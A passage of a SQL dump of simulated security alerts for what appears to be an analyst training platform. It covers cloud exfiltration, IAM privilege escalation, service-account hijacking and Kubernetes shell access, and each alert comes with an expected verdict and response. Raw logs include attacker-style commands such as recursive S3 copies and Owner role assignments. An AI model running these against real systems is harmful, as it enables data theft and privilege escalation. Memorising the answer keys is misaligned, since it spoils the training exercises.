'Intermediate', 'NDR', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1970, 'Legacy Application Misconfiguration Detected', 'medium', 'Suricata', 'Unexpected outbound traffic from a legacy application server to an external IP address. Initially flagged as C2 beaconing.', 'C2 Beaconing', 'T1105', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.3.10\",\"dst_ip\":\"203.0.113.200\",\"username\":\"legacy_app\",\"hostname\":\"legacy-app01\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"IP assigned to legacy application server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported 5 times for unusual traffic patterns\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"c2_beaconing\",\"analysis_notes\":\"The traffic is due to a misconfigured application attempting to update from a deprecated service.\"}', 'Intermediate', 'NDR', 5, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1971, 'False Positive: Authorized System Health Check', 'low', 'Wireshark', 'Regular system health check traffic detected from a monitoring system. Initially interpreted as potential lateral movement.', 'Lateral Movement', 'T1087', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T07:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.4.25\",\"dst_ip\":\"192.168.4.30\",\"username\":\"monitor\",\"hostname\":\"monitoring01\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.4.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"IP assigned to authorized monitoring system\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.4.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"IP is a monitored internal system\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"This is expected traffic and part of the scheduled system health checks.\"}', 'Intermediate', 'NDR', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1972, 'Unauthorized C2 Beaconing Detected', 'high', 'Darktrace', 'Detected external communication with a known malicious IP. Traffic patterns suggest C2 beaconing from an internal host.', 'C2 Beaconing', 'T1105', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.5.15\",\"dst_ip\":\"198.51.100.20\",\"username\":\"unknown_user\",\"hostname\":\"workstation-15\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.5.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"IP belongs to an internal workstation\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 120 times for C2 activities\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"c2_beaconing\",\"analysis_notes\":\"The communication with a known malicious IP indicates likely C2 beaconing activity.\"}', 'Intermediate', 'NDR', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1973, 'AWS S3 Bucket Data Leak Detected', 'critical', 'AWS GuardDuty', 'Unauthorized access to an S3 bucket was detected from an external IP. Data exfiltration is suspected.', 'Data Exfil', 'T1537', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.1.10\",\"username\":\"unknown\",\"hostname\":\"s3.amazonaws.com\",\"request_body\":\"GET /my-sensitive-bucket\",\"command_line\":\"\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1023 times for unauthorized access\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"s3.amazonaws.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Frequent target for unauthorized data access\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"GET /my-sensitive-bucket\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Data exfiltration attempt via S3 API\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The access pattern and external IP indicate a deliberate data exfiltration attempt.\"}', 'Intermediate', 'CLOUD', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1974, 'Azure IAM Privilege Escalation Alert', 'high', 'Azure Defender', 'Suspicious privilege escalation detected. An internal account was granted admin rights unexpectedly.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:30:00Z\",\"event_type\":\"login_success\",\"src_ip\":\"10.0.0.45\",\"dst_ip\":\"10.0.0.5\",\"username\":\"john.doe@company.com\",\"hostname\":\"azure-portal\",\"request_body\":\"\",\"command_line\":\"az role assignment create --assignee john.doe@company.com --role contributor\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"john.doe@company.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual role assignment detected\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"az role assignment create --assignee john.doe@company.com --role contributor\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Privilege escalation attempt\"}}],\"expected_actions\":[\"reset_credentials\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The privilege escalation was unauthorized and aligns with known attack patterns.\"}', 'Intermediate', 'CLOUD', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1975, 'GCP Service Account Hijacking Attempt', 'critical', 'GCP SCC', 'Detected unauthorized token access to a GCP service account. Potential hijacking attempt.', 'Credential Attack', 'T1550', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:15:00Z\",\"event_type\":\"token_use\",\"src_ip\":\"203.0.113.50\",\"dst_ip\":\"10.1.1.2\",\"username\":\"service-account@project-id.iam.gserviceaccount.com\",\"hostname\":\"gcp.googleapis.com\",\"request_body\":\"\",\"command_line\":\"gcloud auth activate-service-account --key-file=key.json\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple hijacking attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"service-account@project-id.iam.gserviceaccount.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Anomalous access pattern detected\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"gcloud auth activate-service-account --key-file=key.json\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Unauthorized use of service account credentials\"}}],\"expected_actions\":[\"reset_credentials\",\"isolate_host\",\"block_ip\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The use of an unauthorized token indicates a hijacking attempt.\"}', 'Intermediate', 'CLOUD', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1976, 'Prisma Cloud: Kubernetes Privilege Escalation', 'high', 'Prisma Cloud', 'Detected privilege escalation activity within a Kubernetes cluster. Unauthorized admin access detected.', 'Lateral Movement', 'T1570', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:50:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"172.16.0.8\",\"dst_ip\":\"172.16.0.10\",\"username\":\"k8s-admin\",\"hostname\":\"kubernetes-cluster\",\"request_body\":\"\",\"command_line\":\"kubectl exec -it pod -- /bin/sh\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"172.16.0.8\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"k8s-admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unexpected admin access detected\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"kubectl exec -it pod -- /bin/sh\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Potential privilege escalation within Kubernetes\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The escalation of privileges within the Kubernetes cluster suggests lateral movement.\"}', 'Intermediate', 'CLOUD', 5, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1977, 'Wiz: Unauthorized API Access Detected', 'medium', 'Wiz', 'Suspicious API requests detected from an unrecognized IP address indicating possible unauthorized access.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:25:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"192.0.2.25\",\"dst_ip\":\"10.2.3.4\",\"username\":\"api-user\",\"hostname\":\"api.example.com\",\"request_body\":\"POST /v1/data HTTP/1.1\",\"command_line\":\"\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP involved in unauthorized API access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"api-user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual API access pattern detected\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"api.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Frequent target for unauthorized data access\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The unauthorized API requests from a suspicious IP indicate a credential attack.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1978, 'AWS S3 Bucket Data Leak Detected', 'critical', 'AWS GuardDuty', 'A large amount of data was exfiltrated from an S3 bucket to an unknown IP address. This indicates a potential data leak.', 'Data Exfil', 'T1537', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:35:23Z\",\"event_type\":\"s3_data_access\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.25\",\"username\":\"compromised_user\",\"hostname\":\"s3.amazonaws.com\",\"request_body\":\"GET /sensitive_data.zip HTTP/1.1\",\"command_line\":\"aws s3 cp s3://mybucket/sensitive_data.zip .\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for data exfiltration activities\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Security Database\",\"verdict\":\"internal\",\"details\":\"User account is part of the finance department\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"GET /sensitive_data.zip HTTP/1.1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Indicates potential unauthorized data access\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Data was accessed and transferred to an external IP without authorization, indicating a data leak.\"}', 'Intermediate', 'CLOUD', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1979, 'Azure IAM Privilege Escalation Detected', 'high', 'Azure Defender', 'An unauthorized user gained admin privileges on Azure IAM, which could allow them to execute further attacks.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:15:45Z\",\"event_type\":\"privilege_escalation\",\"src_ip\":\"198.51.100.32\",\"dst_ip\":\"10.0.0.5\",\"username\":\"attacker_user\",\"hostname\":\"azure.portal.com\",\"command_line\":\"az role assignment create --assignee attacker_user --role \'Owner\'\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.32\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple privilege escalation incidents\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"attacker_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"internal\",\"details\":\"User exists but should not have admin privileges\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"az role assignment create --assignee attacker_user --role \'Owner\'\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used to escalate privileges in Azure\"}}],\"expected_actions\":[\"reset_credentials\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Unauthorized privilege escalation detected; immediate action required to prevent further malicious activity.\"}', 'Intermediate', 'CLOUD', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1980, 'GCP Service Account Hijacking', 'critical', 'GCP SCC', 'Anomalous activity detected from a GCP service account indicating potential hijacking.', 'Account Compromise', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:20:30Z\",\"event_type\":\"service_account_usage\",\"src_ip\":\"203.0.113.78\",\"dst_ip\":\"10.2.0.15\",\"username\":\"service-account-123\",\"hostname\":\"cloud.google.com\",\"command_line\":\"gcloud auth activate-service-account --key-file=/tmp/key.json\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.78\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"IP associated with unauthorized service account access\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"service-account-123\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal GCP Audit\",\"verdict\":\"internal\",\"details\":\"Service account with unexpected activity\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"gcloud auth activate-service-account --key-file=/tmp/key.json\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used for unauthorized activation of service account\"}}],\"expected_actions\":[\"reset_credentials\",\"block_ip\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"account_compromise\",\"analysis_notes\":\"Service account showing signs of compromise; potentially linked to unauthorized access and actions.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1981, 'Prisma Cloud Detects Suspicious Kubernetes Activity', 'high', 'Prisma Cloud', 'Unusual Kubernetes API requests detected suggesting potential compromise of the cluster.', 'Lateral Movement', 'T1570', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:45:12Z\",\"event_type\":\"k8s_api_request\",\"src_ip\":\"192.168.2.15\",\"dst_ip\":\"10.0.0.20\",\"username\":\"k8s-admin\",\"hostname\":\"k8s.cluster.local\",\"command_line\":\"kubectl exec -it pod-name -- /bin/sh\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP involved in Kubernetes API access\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"k8s-admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal LDAP\",\"verdict\":\"internal\",\"details\":\"Admin account with suspicious activity\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"kubectl exec -it pod-name -- /bin/sh\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Command indicates potential lateral movement within the cluster\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Suspicious execution in the Kubernetes environment suggests potential for lateral movement.\"}', 'Intermediate', 'CLOUD', 5, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(1982, 'Wiz Detects Unusual Serverless Function Execution', 'medium', 'Wiz', 'A serverless function was executed with unexpected parameters, indicating potential misuse.', 'Execution', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:50:10Z\",\"event_type\":\"function_execution\",\"src_ip\":\"203.0.113.99\",\"dst_ip\":\"172.16.0.10\",\"username\":\"lambda_user\",\"hostname\":\"aws.lambda\",\"command_line\":\"node index.js --input=\'malicious_payload\'\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP flagged for executing serverless functions with malicious intent\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"node index.js --input=\'malicious_payload\'\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command execution with suspicious parameters\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"execution\",\"analysis_notes\":\"Unexpected parameters indicate a potential misuse of serverless functions.\"}', 'Intermediate', 'CLOUD', 5, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1983, 'AWS S3 Bucket Data Leak Detected', 'critical', 'AWS GuardDuty', 'An unauthorized access to an S3 bucket was detected from an external IP. Sensitive data may have been exfiltrated.', 'Data Exfil', 'T1537', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:12Z\",\"event_type\":\"web_request\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.0.0.5\",\"username\":\"unauthorized_user\",\"hostname\":\"s3.amazonaws.com\",\"request_body\":\"GET /sensitive-data HTTP/1.1\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1247 times for unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"GET /sensitive-data HTTP/1.1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Detected unauthorized data request to S3 bucket\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"S3 bucket internal IP address\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The unauthorized access and data exfiltration attempt from an external IP confirms this as a true positive attack.\"}', 'Intermediate', 'CLOUD', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1984, 'Azure IAM Privilege Escalation', 'high', 'Azure Defender', 'An IAM user was granted elevated privileges without proper authorization. Potential for unauthorized access to critical resources.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:30:27Z\",\"event_type\":\"login_success\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"52.174.112.10\",\"username\":\"elevated_user\",\"hostname\":\"azure.microsoft.com\",\"command_line\":\"az role assignment create --assignee elevated_user --role Contributor\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"username\",\"value\":\"elevated_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"User account within the organization\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the accessing machine\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"az role assignment create --assignee elevated_user --role Contributor\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Detected unauthorized privilege escalation command\"}}],\"expected_actions\":[\"reset_credentials\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Unauthorized role assignment indicates potential privilege escalation, confirming a true positive.\"}', 'Intermediate', 'CLOUD', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1985, 'GCP Service Account Hijacking Attempt', 'critical', 'GCP SCC', 'Suspicious activity detected involving a GCP service account attempting to access unauthorized resources.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:15:43Z\",\"event_type\":\"login_attempt\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"35.196.90.23\",\"username\":\"compromised_service_account\",\"hostname\":\"gcp.google.com\",\"command_line\":\"gcloud auth activate-service-account --key-file /path/to/key.json\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in previous credential stuffing attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromised_service_account\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Service account within the organization\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"gcloud auth activate-service-account --key-file /path/to/key.json\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Detected unauthorized service account activation\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The attempt to hijack a service account with unauthorized access confirms this as a true positive credential attack.\"}', 'Intermediate', 'CLOUD', 5, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1986, 'Prisma Cloud Detected Unauthorized Kubernetes Access', 'high', 'Prisma Cloud', 'Unauthorized access to Kubernetes cluster detected from external IP address. Potential risk of container compromise.', 'Lateral Movement', 'T1570', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:00:05Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.0.2.56\",\"dst_ip\":\"10.0.1.20\",\"username\":\"kube_admin\",\"hostname\":\"kubernetes.local\",\"command_line\":\"kubectl get pods --all-namespaces\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.56\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP flagged for suspicious Kubernetes access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Kubernetes cluster internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"kubectl get pods --all-namespaces\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Detected unauthorized Kubernetes command execution\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Unauthorized command execution on Kubernetes cluster indicates a potential lateral movement attempt, confirming a true positive.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1987, 'Wiz Detected Serverless Function Misuse', 'medium', 'Wiz', 'Suspicious execution of serverless function detected, possibly indicating misuse for unauthorized data processing.', 'Execution', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:22:19Z\",\"event_type\":\"process_execution\",\"src_ip\":\"198.51.100.78\",\"dst_ip\":\"10.0.2.30\",\"username\":\"lambda_user\",\"hostname\":\"aws.lambda.com\",\"command_line\":\"node malicious_script.js\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.78\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in previous unauthorized script executions\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"node malicious_script.js\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Detected execution of a known malicious script\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.2.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of serverless function\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"execution\",\"analysis_notes\":\"The execution of a known malicious script on a serverless function indicates potential misuse, confirming a true positive.\"}', 'Intermediate', 'CLOUD', 5, 1, 'RETAIL', NULL, NULL, NULL, 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1988, 'AWS S3 Bucket Data Leak Detected', 'critical', 'AWS GuardDuty', 'Suspicious activity detected on an S3 bucket. Data exfiltration attempt using compromised credentials.', 'Data Exfil', 'T1537', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:45:00Z\",\"event_type\":\"data_access\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"compromised_user\",\"hostname\":\"aws-s3-bucket\",\"request_body\":\"GET /sensitive-data/\",\"command_line\":\"aws s3 cp s3://sensitive-data /local/ --recursive\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 120 times for data exfiltration attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Username associated with multiple unauthorized access attempts\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"aws s3 cp s3://sensitive-data 